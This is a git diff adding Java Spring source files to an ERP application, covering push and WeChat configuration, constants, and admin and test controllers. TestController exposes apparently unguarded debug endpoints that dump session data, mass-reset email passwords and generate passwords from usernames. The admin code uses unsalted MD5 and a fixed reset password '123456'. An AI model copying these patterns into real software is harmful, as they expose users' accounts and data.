src/main/java/com/vverp/config/getui/GetuiConfiguration.java
Normal file
@@ -0,0 +1,47 @@
|
||||
package com.vverp.config.getui;
|
||||
|
||||
import com.getui.push.v2.sdk.ApiHelper;
|
||||
import com.getui.push.v2.sdk.GtApiConfiguration;
|
||||
import com.getui.push.v2.sdk.api.PushApi;
|
||||
import com.getui.push.v2.sdk.api.StatisticApi;
|
||||
import com.getui.push.v2.sdk.api.UserApi;
|
||||
import org.springframework.context.annotation.Bean;
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2021/4/20 上午11:37
|
||||
*/
|
||||
@Configuration
|
||||
public class GetuiConfiguration {
|
||||
|
||||
@Resource
|
||||
private GetuiProperties getuiProperties;
|
||||
|
||||
@Bean
|
||||
public PushApi pushApi() {
|
||||
return getApiHelper().creatApi(PushApi.class);
|
||||
}
|
||||
|
||||
@Bean
|
||||
public StatisticApi statisticApi() {
|
||||
return getApiHelper().creatApi(StatisticApi.class);
|
||||
}
|
||||
|
||||
@Bean
|
||||
public UserApi userApi() {
|
||||
return getApiHelper().creatApi(UserApi.class);
|
||||
}
|
||||
|
||||
private ApiHelper getApiHelper() {
|
||||
GtApiConfiguration apiConfiguration = new GtApiConfiguration();
|
||||
apiConfiguration.setAppId(getuiProperties.getAppId());
|
||||
apiConfiguration.setAppKey(getuiProperties.getAppKey());
|
||||
apiConfiguration.setMasterSecret(getuiProperties.getMasterSecret());
|
||||
apiConfiguration.setDomain(getuiProperties.getDomain());
|
||||
return ApiHelper.build(apiConfiguration);
|
||||
}
|
||||
|
||||
}
|
||||
67
src/main/java/com/vverp/config/getui/GetuiProperties.java
Normal file
67
src/main/java/com/vverp/config/getui/GetuiProperties.java
Normal file
@@ -0,0 +1,67 @@
|
||||
package com.vverp.config.getui;
|
||||
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.stereotype.Component;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2021/4/20 上午11:36
|
||||
*/
|
||||
@Component
|
||||
public class GetuiProperties {
|
||||
|
||||
@Value("${getui.appId}")
|
||||
private String appId;
|
||||
|
||||
@Value("${getui.appKey}")
|
||||
private String appKey;
|
||||
|
||||
@Value("${getui.masterSecret}")
|
||||
private String masterSecret;
|
||||
|
||||
@Value("${getui.domain}")
|
||||
private String domain;
|
||||
|
||||
@Value("${getui.packageName}")
|
||||
private String packageName;
|
||||
|
||||
public String getAppId() {
|
||||
return appId;
|
||||
}
|
||||
|
||||
public void setAppId(String appId) {
|
||||
this.appId = appId;
|
||||
}
|
||||
|
||||
public String getAppKey() {
|
||||
return appKey;
|
||||
}
|
||||
|
||||
public void setAppKey(String appKey) {
|
||||
this.appKey = appKey;
|
||||
}
|
||||
|
||||
public String getMasterSecret() {
|
||||
return masterSecret;
|
||||
}
|
||||
|
||||
public void setMasterSecret(String masterSecret) {
|
||||
this.masterSecret = masterSecret;
|
||||
}
|
||||
|
||||
public String getDomain() {
|
||||
return domain;
|
||||
}
|
||||
|
||||
public void setDomain(String domain) {
|
||||
this.domain = domain;
|
||||
}
|
||||
|
||||
public String getPackageName() {
|
||||
return packageName;
|
||||
}
|
||||
|
||||
public void setPackageName(String packageName) {
|
||||
this.packageName = packageName;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
package com.vverp.config.wx;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/9/28 5:40 下午
|
||||
*/
|
||||
public class TemplateMessageContract {
|
||||
|
||||
// public static String MESSAGE_ID_1 = "CCtmqjD46Ln8WTpwLRCnHTVjadd6fqbhmpIXDtrmPDM";
|
||||
public static String MESSAGE_ID_1 = "DiVT3jZGH4H9VF3yF7F3lTPf5jzTlJ8lZqGMwOdnRoE";
|
||||
|
||||
// public static String MESSAGE_ID_2 = "vAfsamSFClxNh503cFsEgSS3fb_mY6rRgpwqsgw-4jY";
|
||||
public static String MESSAGE_ID_2 = "98mrVRsdcxVwTKPlfAmld3Vsge4osnqyCJIozs4E6G0";
|
||||
|
||||
}
|
||||
33
src/main/java/com/vverp/config/wx/WxMpConfiguration.java
Normal file
33
src/main/java/com/vverp/config/wx/WxMpConfiguration.java
Normal file
@@ -0,0 +1,33 @@
|
||||
package com.vverp.config.wx;
|
||||
|
||||
import me.chanjar.weixin.mp.api.WxMpService;
|
||||
import me.chanjar.weixin.mp.api.impl.WxMpServiceImpl;
|
||||
import me.chanjar.weixin.mp.config.impl.WxMpDefaultConfigImpl;
|
||||
import org.springframework.context.annotation.Bean;
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/1/15 2:05 下午
|
||||
*/
|
||||
@Configuration
|
||||
public class WxMpConfiguration {
|
||||
|
||||
@Resource
|
||||
private WxMpProperties wxMpProperties;
|
||||
|
||||
@Bean
|
||||
public WxMpService wxMpService() {
|
||||
WxMpDefaultConfigImpl wxMpConfig = new WxMpDefaultConfigImpl();
|
||||
wxMpConfig.setAppId(wxMpProperties.getAppId());
|
||||
wxMpConfig.setSecret(wxMpProperties.getSecret());
|
||||
wxMpConfig.setToken(wxMpProperties.getToken());
|
||||
wxMpConfig.setAesKey(wxMpProperties.getAesKey());
|
||||
WxMpService wxMpService = new WxMpServiceImpl();
|
||||
wxMpService.setWxMpConfigStorage(wxMpConfig);
|
||||
return wxMpService;
|
||||
}
|
||||
|
||||
}
|
||||
62
src/main/java/com/vverp/config/wx/WxMpProperties.java
Normal file
62
src/main/java/com/vverp/config/wx/WxMpProperties.java
Normal file
@@ -0,0 +1,62 @@
|
||||
package com.vverp.config.wx;
|
||||
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.stereotype.Component;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/1/15 1:56 下午
|
||||
*/
|
||||
@Component
|
||||
public class WxMpProperties {
|
||||
|
||||
/**
|
||||
* appid
|
||||
*/
|
||||
@Value("${wx.mp.appId}")
|
||||
private String appId;
|
||||
|
||||
/**
|
||||
* secret
|
||||
*/
|
||||
@Value("${wx.mp.secret}")
|
||||
private String secret;
|
||||
|
||||
@Value("${wx.mp.token}")
|
||||
private String token;
|
||||
|
||||
@Value("${wx.mp.aesKey}")
|
||||
private String aesKey;
|
||||
|
||||
public String getAppId() {
|
||||
return appId;
|
||||
}
|
||||
|
||||
public void setAppId(String appId) {
|
||||
this.appId = appId;
|
||||
}
|
||||
|
||||
public String getSecret() {
|
||||
return secret;
|
||||
}
|
||||
|
||||
public void setSecret(String secret) {
|
||||
this.secret = secret;
|
||||
}
|
||||
|
||||
public String getToken() {
|
||||
return token;
|
||||
}
|
||||
|
||||
public void setToken(String token) {
|
||||
this.token = token;
|
||||
}
|
||||
|
||||
public String getAesKey() {
|
||||
return aesKey;
|
||||
}
|
||||
|
||||
public void setAesKey(String aesKey) {
|
||||
this.aesKey = aesKey;
|
||||
}
|
||||
}
|
||||
18
src/main/java/com/vverp/constant/CompanyConstant.java
Normal file
18
src/main/java/com/vverp/constant/CompanyConstant.java
Normal file
@@ -0,0 +1,18 @@
|
||||
package com.vverp.constant;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2021/1/7 下午1:53
|
||||
*/
|
||||
public class CompanyConstant {
|
||||
|
||||
public static List<String> SHAN_DONG_COMPANY_LIST = new ArrayList<>(Arrays.asList(
|
||||
"中油恒生石油化工(大连)有限公司", "中油新元石油化工(大连)有限公司", "中油福成石油化工(大连)有限公司",
|
||||
"利成石化(山东)有限公司"
|
||||
));
|
||||
|
||||
}
|
||||
13
src/main/java/com/vverp/constant/MainConstant.java
Normal file
13
src/main/java/com/vverp/constant/MainConstant.java
Normal file
@@ -0,0 +1,13 @@
|
||||
package com.vverp.constant;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/11/17 上午10:41
|
||||
*/
|
||||
public class MainConstant {
|
||||
|
||||
public static String DOMAIN = "http://shiyou.erp.vverp.cn";
|
||||
|
||||
public static String APPROVAL_URL = DOMAIN + "/wx/approval.html";
|
||||
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
package com.vverp.controller;
|
||||
|
||||
import com.vverp.service.InformationService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.PathVariable;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2021/4/27 下午5:33
|
||||
*/
|
||||
@Controller
|
||||
@RequestMapping("/information")
|
||||
public class InformationController {
|
||||
|
||||
@Resource
|
||||
private InformationService informationService;
|
||||
|
||||
@RequestMapping("/{title}")
|
||||
public String preview(ModelMap modelMap, @PathVariable String title) {
|
||||
modelMap.addAttribute("information", informationService.findSingle());
|
||||
return "/information/preview";
|
||||
}
|
||||
|
||||
}
|
||||
249
src/main/java/com/vverp/controller/TestController.java
Normal file
249
src/main/java/com/vverp/controller/TestController.java
Normal file
@@ -0,0 +1,249 @@
|
||||
package com.vverp.controller;
|
||||
|
||||
import com.vverp.util.DateUtil;
|
||||
import cn.hutool.core.util.IdUtil;
|
||||
import cn.hutool.json.JSONArray;
|
||||
import cn.hutool.json.JSONObject;
|
||||
import com.vverp.base.Setting;
|
||||
import com.vverp.controller.admin.BaseController;
|
||||
import com.vverp.entity.*;
|
||||
import com.vverp.enums.*;
|
||||
import com.vverp.moli.util.Filter;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.*;
|
||||
import com.vverp.util.GetApi;
|
||||
import com.vverp.util.MapUtils;
|
||||
import com.vverp.util.PasswordUtils;
|
||||
import com.vverp.util.ServerChanUtils;
|
||||
import org.apache.commons.lang.exception.ExceptionUtils;
|
||||
import org.apache.poi.ss.util.CellAddress;
|
||||
import org.apache.poi.xssf.usermodel.XSSFCell;
|
||||
import org.apache.poi.xssf.usermodel.XSSFRow;
|
||||
import org.apache.poi.xssf.usermodel.XSSFSheet;
|
||||
import org.apache.poi.xssf.usermodel.XSSFWorkbook;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.ServletContext;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.IOException;
|
||||
import java.math.BigDecimal;
|
||||
import java.math.RoundingMode;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/8/6 4:00 下午
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/test")
|
||||
public class TestController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@Resource
|
||||
private PurchaseOrderService purchaseOrderService;
|
||||
@Resource
|
||||
private SystemSettingService systemSettingService;
|
||||
|
||||
@Resource
|
||||
private LoginLogService loginLogService;
|
||||
|
||||
@RequestMapping("/updateMpBindingCode")
|
||||
public RespData updateMpBindingCode() {
|
||||
for (Admin admin : adminService.findAll()) {
|
||||
admin.setMpBindingCode(IdUtil.fastSimpleUUID());
|
||||
adminService.update(admin);
|
||||
}
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
/**
|
||||
* 审批
|
||||
*/
|
||||
@RequestMapping("/simpleApprove")
|
||||
public RespData simpleApprove(String type, Long id) {
|
||||
switch (type) {
|
||||
case "purchaseOrder": {
|
||||
purchaseOrderService.approve(purchaseOrderService.find(id));
|
||||
break;
|
||||
}
|
||||
}
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
/**
|
||||
* 设置首页url
|
||||
*/
|
||||
@RequestMapping("/setHomeUrl")
|
||||
public RespData setHomeUrl(String url) {
|
||||
SystemSetting systemSetting = Setting.getData();
|
||||
systemSetting.setHomeUrl(url);
|
||||
systemSettingService.updateSystemSetting(systemSetting);
|
||||
return RespData.success(url);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 修正结算量
|
||||
*/
|
||||
@RequestMapping("/fixSettlementAmount")
|
||||
public RespData fixSettlementAmount(String source, Long id) {
|
||||
if (source.equals("purchaseOrder")) {
|
||||
PurchaseOrder purchaseOrder = purchaseOrderService.find(id);
|
||||
BigDecimal settlementSum = BigDecimal.ZERO;
|
||||
BigDecimal settlementAmount = BigDecimal.ZERO;
|
||||
for (PurchaseOrderItem purchaseOrderItem : purchaseOrder.getPurchaseOrderItemList()) {
|
||||
if (purchaseOrderItem.getSettlement() != null) {
|
||||
settlementSum = settlementSum.add(purchaseOrderItem.getSettlement());
|
||||
settlementAmount = settlementAmount.add(purchaseOrderItem.getTaxPrice().multiply(purchaseOrderItem.getSettlement()));
|
||||
}
|
||||
purchaseOrder.setSettlement(settlementSum);
|
||||
purchaseOrder.setSettlementAmount(settlementAmount);
|
||||
purchaseOrderService.update(purchaseOrder);
|
||||
}
|
||||
}
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
|
||||
|
||||
/**
|
||||
* 设置销售采购合同的合同类型
|
||||
*/
|
||||
@RequestMapping("/setContractType")
|
||||
public RespData setContractType() {
|
||||
|
||||
for (PurchaseOrder purchaseOrder : purchaseOrderService.findAll()) {
|
||||
ContractType contractType = purchaseOrder.getContractType();
|
||||
// 原背靠背
|
||||
if (contractType.equals(ContractType.internal)) {
|
||||
purchaseOrder.setContractType(ContractType.normalBkb);
|
||||
purchaseOrderService.update(purchaseOrder);
|
||||
}
|
||||
// 原垫支
|
||||
else if (contractType.equals(ContractType.normalBkb)) {
|
||||
purchaseOrder.setContractType(ContractType.normalAdvanceFund);
|
||||
purchaseOrderService.update(purchaseOrder);
|
||||
}
|
||||
}
|
||||
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/60b")
|
||||
public RespData b60(String code) throws IOException {
|
||||
String path = getClass().getResource("/excel/60B.xlsx").getPath();
|
||||
FileInputStream excelFileInputStream = new FileInputStream(path);
|
||||
XSSFWorkbook workbook = new XSSFWorkbook(excelFileInputStream);//拿到文件转化为javapoi可操纵类型
|
||||
excelFileInputStream.close();
|
||||
XSSFSheet sheet = workbook.getSheetAt(0);
|
||||
CellAddress address = new CellAddress(code);
|
||||
|
||||
for (int i = 13; i < 20; i++) {
|
||||
XSSFRow row = sheet.getRow(i);
|
||||
for (int j = 0; j < 10; j++) {
|
||||
XSSFCell cell = row.getCell(j);
|
||||
System.out.println(cell);
|
||||
}
|
||||
}
|
||||
|
||||
// XSSFRow row = sheet.getRow(address.getRow());//得到行
|
||||
// XSSFCell cell = row.getCell(address.getColumn());//得到列
|
||||
// System.out.println(cell);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/getSessionSet")
|
||||
public RespData getSessionSet(HttpServletRequest request) {
|
||||
try {
|
||||
HttpSession session = request.getSession();
|
||||
ServletContext context = session.getServletContext();
|
||||
HashSet<HttpSession> sessionSet = (HashSet<HttpSession>) context.getAttribute("sessionSet");
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
if (sessionSet != null) {
|
||||
for (HttpSession item : sessionSet) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
Enumeration<String> keys = item.getAttributeNames();
|
||||
while (keys.hasMoreElements()) {
|
||||
String key = keys.nextElement();
|
||||
if (Arrays.asList("eField", "curDept", "curDeptName", "curCompanyName", "curAdmin", "curCompany", "systemSetting").contains(key)) {
|
||||
continue;
|
||||
}
|
||||
map.put(key, item.getAttribute(key));
|
||||
}
|
||||
list.add(map);
|
||||
}
|
||||
}
|
||||
return RespData.success(list);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
ServerChanUtils.send("getSessionSet", ExceptionUtils.getFullStackTrace(e));
|
||||
return RespData.error("出错了");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 更新员工邮箱密码
|
||||
*/
|
||||
@RequestMapping("/updateAdminEmailPassword")
|
||||
public RespData updateAdminEmailPassword() {
|
||||
for (Admin admin : adminService.findAll()) {
|
||||
String uuid = IdUtil.fastSimpleUUID();
|
||||
admin.setEmailPassword(uuid.substring(0, 8));
|
||||
adminService.update(admin);
|
||||
}
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/loginLog")
|
||||
public RespData loginLog(Pageable pageable) {
|
||||
Page<LoginLog> page = loginLogService.findPage(pageable);
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (LoginLog loginLog : page.getContent()) {
|
||||
Map<String, Object> map = MapUtils.beansToMap(loginLog, "id", "adminName");
|
||||
map.put("date", DateUtil.formatDateTime(loginLog.getDate()));
|
||||
list.add(map);
|
||||
}
|
||||
return RespData.success(list);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 更新汇率等信息
|
||||
*/
|
||||
@RequestMapping("/syncExchange")
|
||||
public RespData syncExchange() {
|
||||
systemSettingService.syncUsdToCny();
|
||||
systemSettingService.syncBrentOilPrice();
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/setProductIdStr")
|
||||
public RespData setProductIdStr() {
|
||||
for (PurchaseOrder purchaseOrder : purchaseOrderService.findAll()) {
|
||||
purchaseOrderService.setProductIdStr(purchaseOrder);
|
||||
purchaseOrderService.update(purchaseOrder);
|
||||
}
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/filterApi")
|
||||
public RespData filterApi(String key) {
|
||||
return RespData.success(GetApi.filterApi(key));
|
||||
}
|
||||
|
||||
@RequestMapping("/gpbu")
|
||||
public RespData genPasswordByUsername(String username) {
|
||||
return RespData.success(PasswordUtils.genPasswordByUsername(username));
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.dto.AddressDTO;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.util.AddressUtils;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
/**
|
||||
* 地址解析
|
||||
*
|
||||
* @author dealsky
|
||||
* @date 2020/7/29 2:59 下午
|
||||
*/
|
||||
@RequestMapping("/admin/address")
|
||||
@Controller("adminAddressController")
|
||||
public class AddressController extends BaseController {
|
||||
|
||||
@RequestMapping("/search")
|
||||
@ResponseBody
|
||||
public RespData search (String address, String region) {
|
||||
AddressDTO addressDTO = AddressUtils.addressInfo(address, region);
|
||||
return RespData.success(addressDTO);
|
||||
}
|
||||
|
||||
}
|
||||
284
src/main/java/com/vverp/controller/admin/AdminController.java
Normal file
284
src/main/java/com/vverp/controller/admin/AdminController.java
Normal file
@@ -0,0 +1,284 @@
|
||||
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.dto.AdminQuery;
|
||||
import com.vverp.entity.*;
|
||||
import com.vverp.enums.Education;
|
||||
import com.vverp.enums.NationalityType;
|
||||
import com.vverp.enums.Reservoir;
|
||||
import com.vverp.enums.WorkingState;
|
||||
import com.vverp.service.*;
|
||||
import org.apache.commons.codec.digest.DigestUtils;
|
||||
import org.apache.commons.lang.StringUtils;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.*;
|
||||
import java.util.*;
|
||||
|
||||
import com.vverp.moli.util.*;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
|
||||
/**
|
||||
* Controller - 管理员
|
||||
*
|
||||
* @author
|
||||
* @version 1.0
|
||||
*/
|
||||
@Controller("admin")
|
||||
@RequestMapping("/admin/admin")
|
||||
public class AdminController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@Resource
|
||||
private RoleService roleService;
|
||||
|
||||
@Resource
|
||||
private DepartmentService departmentService;
|
||||
|
||||
@Resource
|
||||
private CompanyService companyService;
|
||||
|
||||
@Resource
|
||||
private ProgressService progressService;
|
||||
|
||||
@Resource
|
||||
private ProductTypeService productTypeService;
|
||||
|
||||
@Resource
|
||||
private SupplierService supplierService;
|
||||
|
||||
@RequestMapping(value = "/list")
|
||||
public String list(Pageable pageable, ModelMap model, AdminQuery query) {
|
||||
Page<Admin> page = adminService.findPageView(pageable, query);
|
||||
model.addAttribute("page", page);
|
||||
model.addAttribute("query", query);
|
||||
model.addAttribute("departmentList", departmentService.findAll());
|
||||
model.addAttribute("companyList", companyService.findAll());
|
||||
return "/admin/list";
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/add")
|
||||
public String add(ModelMap model) {
|
||||
List<Role> roles = roleService.findAll();
|
||||
model.addAttribute("sexs", Admin.Sex.values());
|
||||
model.addAttribute("roles", roles);
|
||||
model.addAttribute("departments", departmentService.findAll());
|
||||
model.addAttribute("nationalityTypes", NationalityType.values());
|
||||
model.addAttribute("educations", Education.values());
|
||||
model.addAttribute("workingStates", WorkingState.values());
|
||||
model.addAttribute("companyList", companyService.findAll());
|
||||
model.addAttribute("productTypeList", productTypeService.findAll());
|
||||
model.addAttribute("reservoirs", Reservoir.values());
|
||||
return "/admin/add";
|
||||
}
|
||||
|
||||
@RequestMapping("/usernameIsExist")
|
||||
@ResponseBody
|
||||
public boolean usernameIsExist(String username) {
|
||||
if (StringUtils.isEmpty(username)) {
|
||||
return false;
|
||||
} else {
|
||||
return !adminService.usernameIsExist(username);
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/edit")
|
||||
public String edit(Long id, ModelMap model) {
|
||||
Admin admin = adminService.find(id);
|
||||
model.addAttribute("admin", admin);
|
||||
model.addAttribute("sexs", Admin.Sex.values());
|
||||
model.addAttribute("roles", roleService.findAll());
|
||||
model.addAttribute("departments", departmentService.findAll());
|
||||
model.addAttribute("nationalityTypes", NationalityType.values());
|
||||
model.addAttribute("educations", Education.values());
|
||||
model.addAttribute("workingStates", WorkingState.values());
|
||||
model.addAttribute("companyList", companyService.findAll());
|
||||
model.addAttribute("productTypeList", productTypeService.findAll());
|
||||
model.addAttribute("reservoirs", Reservoir.values());
|
||||
return "/admin/edit";
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/save", method = RequestMethod.POST)
|
||||
public @ResponseBody
|
||||
Message save(Admin admin, Long[] roleId, Long[] visibleCompanyId, Long[] visibleDepartmentId) {
|
||||
try {
|
||||
admin.setVisibleCompanyIdsStrByArr(visibleCompanyId);
|
||||
admin.setVisibleDepartmentIdsStrByArr(visibleDepartmentId);
|
||||
adminService.saveAdmin(admin, roleId);
|
||||
} catch (RuntimeException e) {
|
||||
return Message.error(e.getMessage());
|
||||
}
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/update", method = RequestMethod.POST)
|
||||
public @ResponseBody
|
||||
Message update(Admin admin, Long[] roleId, Long[] visibleCompanyId, Long[] visibleDepartmentId) {
|
||||
try {
|
||||
admin.setVisibleCompanyIdsStrByArr(visibleCompanyId);
|
||||
admin.setVisibleDepartmentIdsStrByArr(visibleDepartmentId);
|
||||
adminService.updateAdmin(admin, roleId);
|
||||
} catch (RuntimeException e) {
|
||||
return Message.error(e.getMessage());
|
||||
}
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/delete", method = RequestMethod.POST)
|
||||
public @ResponseBody
|
||||
Message delete(Long ids) {
|
||||
|
||||
if (!StringUtils.isEmpty(ids.toString())) {
|
||||
Admin admin = adminService.find(ids);
|
||||
if (admin != null) {
|
||||
if (admin.getUsername().equals("admin"))
|
||||
return Message.error("系统管理员无法删除");
|
||||
}
|
||||
}
|
||||
adminService.delete(ids);
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/reset", method = RequestMethod.POST)
|
||||
@ResponseBody
|
||||
public Message reset(Long id) {
|
||||
if (!StringUtils.isEmpty(id.toString())) {
|
||||
Admin admin = adminService.find(id);
|
||||
if (admin != null) {
|
||||
admin.setPassword(DigestUtils.md5Hex("123456"));
|
||||
adminService.update(admin);
|
||||
}
|
||||
} else {
|
||||
return Message.error("重置密码失败");
|
||||
}
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
@RequestMapping(value = "/changePass")
|
||||
public String changePass() {
|
||||
return "/common/dialog/changePass";
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/doChangePass")
|
||||
public @ResponseBody
|
||||
Message doChangePass(String oldPass, String newPass) {
|
||||
|
||||
if (newPass == null || newPass.equals("")) {
|
||||
return Message.error("新密码不能为空");
|
||||
}
|
||||
|
||||
Admin admin = adminService.getCurrent();
|
||||
if (admin == null) {
|
||||
return Message.error("未登录");
|
||||
}
|
||||
|
||||
Admin pAdmin = adminService.find(admin.getId());
|
||||
if (pAdmin == null) {
|
||||
return Message.error("账号不存在");
|
||||
}
|
||||
|
||||
if (!DigestUtils.md5Hex(oldPass).equals(pAdmin.getPassword())) {
|
||||
return Message.error("原密码错误");
|
||||
} else {
|
||||
pAdmin.setPassword(DigestUtils.md5Hex(newPass));
|
||||
adminService.update(pAdmin);
|
||||
}
|
||||
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
@RequestMapping("export")
|
||||
public void export(String username, String name, String phone, Admin.Sex sex, Date createDateStart, Date createDateEnd, Boolean isEnabled, HttpServletResponse response) throws IOException {
|
||||
adminService.export(username, name, phone, sex, createDateStart, createDateEnd, isEnabled, response);
|
||||
}
|
||||
|
||||
/**
|
||||
* 导入模板
|
||||
*/
|
||||
@RequestMapping("/exportTemplate")
|
||||
public void exportTemplate(HttpServletResponse response) {
|
||||
adminService.exportTemplate(response);
|
||||
}
|
||||
|
||||
@RequestMapping("import")
|
||||
@ResponseBody
|
||||
public RespData importExcel(MultipartFile file) {
|
||||
try {
|
||||
adminService.importExcel(file);
|
||||
return RespData.success();
|
||||
} catch (RuntimeException e) {
|
||||
return RespData.error(e.getMessage());
|
||||
} catch (Exception e) {
|
||||
return RespData.error("导入失败");
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/listByDepartment")
|
||||
@ResponseBody
|
||||
public RespData listByDepartment(Long departmentId) {
|
||||
List<Admin> list = adminService.findListByAttribute("department.id", departmentId);
|
||||
return RespData.success(list);
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/changeProgress")
|
||||
public String changeProgress(ModelMap modelMap) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
List<Progress> progresses = progressService.findAll();
|
||||
Map<Long,Progress> progressMap = new HashMap<>();
|
||||
for (Progress progress : progresses){
|
||||
progressMap.put(progress.getId(),progress);
|
||||
}
|
||||
List<Progress> progressList = new ArrayList<>();
|
||||
if (admin.getSupplierList().size()>0){
|
||||
modelMap.addAttribute("showCompany",false);
|
||||
for (Supplier supplier : admin.getSupplierList()){
|
||||
if (supplier.getProgressId() == null){
|
||||
modelMap.addAttribute("showCompany",true);
|
||||
}else {
|
||||
if (progressMap.containsKey(supplier.getProgressId())) {
|
||||
progressList.add(progressMap.get(supplier.getProgressId()));
|
||||
}
|
||||
}
|
||||
}
|
||||
modelMap.addAttribute("progressList",progressList);
|
||||
}else {
|
||||
modelMap.addAttribute("showCompany",true);
|
||||
modelMap.addAttribute("progressList",progresses);
|
||||
}
|
||||
modelMap.addAttribute("nowProgressId",admin.getNowProgress());
|
||||
return "/common/dialog/changeProgress";
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/doChangeProgress")
|
||||
public @ResponseBody
|
||||
Message doChangeProgress(Long progressId) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
admin.setNowProgress(progressId);
|
||||
adminService.update(admin);
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
@RequestMapping("checkRole")
|
||||
@ResponseBody
|
||||
public RespData checkRole(String power){
|
||||
Admin admin = adminService.getCurrent();
|
||||
boolean canJump = false;
|
||||
for (Role role : admin.getRoles()){
|
||||
if (role.getAuthorities().contains(power)){
|
||||
canJump = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
return RespData.success(canJump);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,173 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.Admin;
|
||||
import com.vverp.entity.AdminPurchase;
|
||||
import com.vverp.entity.AdminPurchaseProductType;
|
||||
import com.vverp.entity.ProductType;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.*;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.util.ArrayList;
|
||||
